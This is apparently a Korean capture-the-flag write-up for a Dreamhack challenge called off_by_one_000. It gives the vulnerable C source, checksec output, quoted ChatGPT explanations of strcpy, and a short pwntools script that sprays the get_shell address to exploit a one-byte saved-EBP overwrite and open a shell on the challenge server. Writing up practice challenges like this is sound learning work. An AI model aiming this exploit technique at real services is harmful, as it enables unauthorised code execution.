off_by_one_000

A single byte past the end of the buffer is enough to shift the saved frame pointer and take control.

2026.08.18 Pwn original post
[*] '/Users/chaeeun/Desktop/56d3fdd7-0e11-4aee-b139-a0f1a8d967c4/off_by_one_000'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    Stripped: No
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char cp_name[256];

void get_shell() {
    system("/bin/sh");
}

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int cpy() {
    char real_name[256];
    strcpy(real_name, cp_name);
    return 0;
}

int main() {
    initialize();
    printf("Name: ");
    read(0, cp_name, sizeof(cp_name));
    cpy();
    printf("Name: %s", cp_name);
    return 0;
}

No excution 이랑 partial relro 가 적용되어있다. strcpy() 의 대한 이해도가 떨어져서 (c 언어 못함 ㅠ) 지피티한테 어떤 코드인지 물어봤다.

strcpy()는 C언어에서 문자열을 복사하는 함수입니다.

#include <string.h>
char *strcpy(char *dest, const char *src);

의미는: src 문자열을 dest 버퍼로 복사한다.

보안 관점에서 위험한 이유

strcpy()는 dest 버퍼 크기를 확인하지 않습니다. 예를 들어:

char buf[8];
strcpy(buf, "AAAAAAAAAAAAAAAAAAAA");

buf는 8바이트인데 복사할 문자열은 훨씬 깁니다. 그러면 buf 뒤의 스택 영역까지 덮어버립니다.

buf[8]
saved rbp
return address

이런 구조에서 strcpy()가 길이를 체크하지 않고 계속 복사하면 stack buffer overflow가 발생할 수 있습니다.

strcpy()의 핵심 조건

strcpy()는 다음 조건이 맞으면 위험합니다.

  1. 목적지 버퍼 크기가 작다
  2. 복사할 문자열 길이를 공격자가 조절할 수 있다
  3. 길이 검사가 없다

strcpy와 null byte

strcpy()는 \0을 만날 때까지 복사합니다. 그래서 source 문자열 중간에 null byte가 있으면 거기서 복사가 멈춥니다.

역시 버퍼 오버플로우 인것인가.. 참고로 %s는 문자열 끝에 \0이 있어야 정상적으로 멈춤.

요 아마 이건 off-by-one null byte overwrite 문제임. 이게 왜 생기냐면, sizeof(cp_name)은 256이고 read()는 문자열 끝에 \0을 자동으로 붙여주지 않음. 그래서 예를 들어 우리가 A를 256개 넣으면:

cp_name = AAAAAAAAAA...AAAA

이렇게 되고 끝에 \0이 없음.

일단

(gdb) p get_shell
$2 = {<text variable, no debug info>} 0x80485db <get_shell>

32비트 i386에서 스택은 대략 이렇게 생깁니다.

real_name[256]
saved EBP
return address

real_name 바로 뒤에는 보통 saved EBP가 있습니다.

Frame pointer overflow는 return address를 직접 덮는 게 아니라, saved frame pointer, 즉 32비트에서는 saved EBP를 덮어서 실행 흐름을 바꾸는 기법입니다. 왜냐하면 off-by-one은 1바이트만 넘치기 때문에 return address까지 못 갑니다. real_name은 256바이트인데, strcpy()가 마지막 \0까지 복사하면서 257번째 바이트를 씁니다.

그래서 직접 덮이는 건 return address가 아니라: saved EBP의 하위 1바이트입니다.

from pwn import *

p = remote('host8.dreamhack.games', 15546)

adr = 0x80485db
payload = p32(adr)*64

p.recvuntil('Name: ')
p.send(payload)
p.interactive()

참고로 여기서 왜 64 냐 하면,

4바이트 * 0x40번 = 4 * 64 = 256바이트

입니다.